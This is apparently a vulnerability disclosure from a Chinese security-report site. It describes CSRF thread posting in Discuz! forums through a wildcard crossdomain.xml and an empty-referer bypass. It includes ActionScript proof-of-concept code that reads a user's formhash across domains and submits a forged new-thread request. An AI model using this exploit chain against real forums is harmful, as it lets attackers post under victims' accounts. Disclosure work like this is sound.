### 简要描述:
Discuz!配置不当可导致CSRF发帖
### 详细说明:
这个漏洞中评论说的 [WooYun: Discuz!全版本鸡肋CSRF漏洞一枚](http://www.wooyun.org/bugs/wooyun-2013-038411) ,由于crossdomain.xml配置不当,可能会导致一些问题。评论时只是有个基本的印象,没有实测,既然xsser说有对这个的防御,那来看看是怎么防的.
crossdomain.xml的默认设置:
```
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
```
对dz的代码结构不熟,按黑盒来测。
首先是读取那个formhash,看来有了crossdomain.xml的帮助,很容易的读到了当前用户的formhash。
[<img src="https://images.seebug.org/upload/201309/28135012263cb454c32c191321f8186e093348f4.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135012263cb454c32c191321f8186e093348f4.png)
```
function gethash() {
function getformhash(txt) {
txt = txt.split('action=logout&formhash=')[1].split('"')[0];
return txt;
}
var result_lv:LoadVars = new LoadVars();
result_lv.onData = function(txt) {
if (txt) {
txt = getformhash(txt);
} else {
txt = "Error connecting to server.";
}
trace(txt);
};
var send_lv:LoadVars = new LoadVars();
method = 'GET';
url = "http://localhost:8080/";
send_lv.sendAndLoad(url,result_lv,method);
}
gethash()
```
然后是CSRF发帖,先构造个表单,提交,发现有对refer进行检查。
[<img src="https://images.seebug.org/upload/201309/28135305dc846b21d89f3c29b00fceacc6e96624.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135305dc846b21d89f3c29b00fceacc6e96624.png)
哦?那截包试试空refer,发现成功了
[<img src="https://images.seebug.org/upload/201309/28135523be4f23fd0b57c5b2bd4ba1b4155f6080.png" alt="Q截图-20130928135512.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201309/28135523be4f23fd0b57c5b2bd4ba1b4155f6080.png)
那就瞎了,https到http的请求是不带refer,可以通过这办法绕过,估计用https架设论坛的没有几个吧,基本全是http的。
```
function dopost() {
var result_lv:LoadVars = new LoadVars();
result_lv.onData = function(txt) {
trace(txt);
};
var send_lv:LoadVars = new LoadVars();
method = 'post';
url = "http://localhost:8080/forum.php?mod=post&action=newthread&fid=2&extra=&topicsubmit=yes";
send_lv['formhash']='{{ form_hash }}'
send_lv['posttime']='1380343694'
send_lv['wysiwyg']='1'
send_lv['subject']='111'
send_lv['message']='123123213213131313'
send_lv['price']=''
send_lv['allownoticeauthor']='1'
send_lv['addfeed']='1'
send_lv['save']=''
send_lv['connect_publish_t']='0'
send_lv.sendAndLoad(url,result_lv,method);
}
dopost()
```
### 漏洞证明:
李菊福,不信?您找个https试试。
暂无评论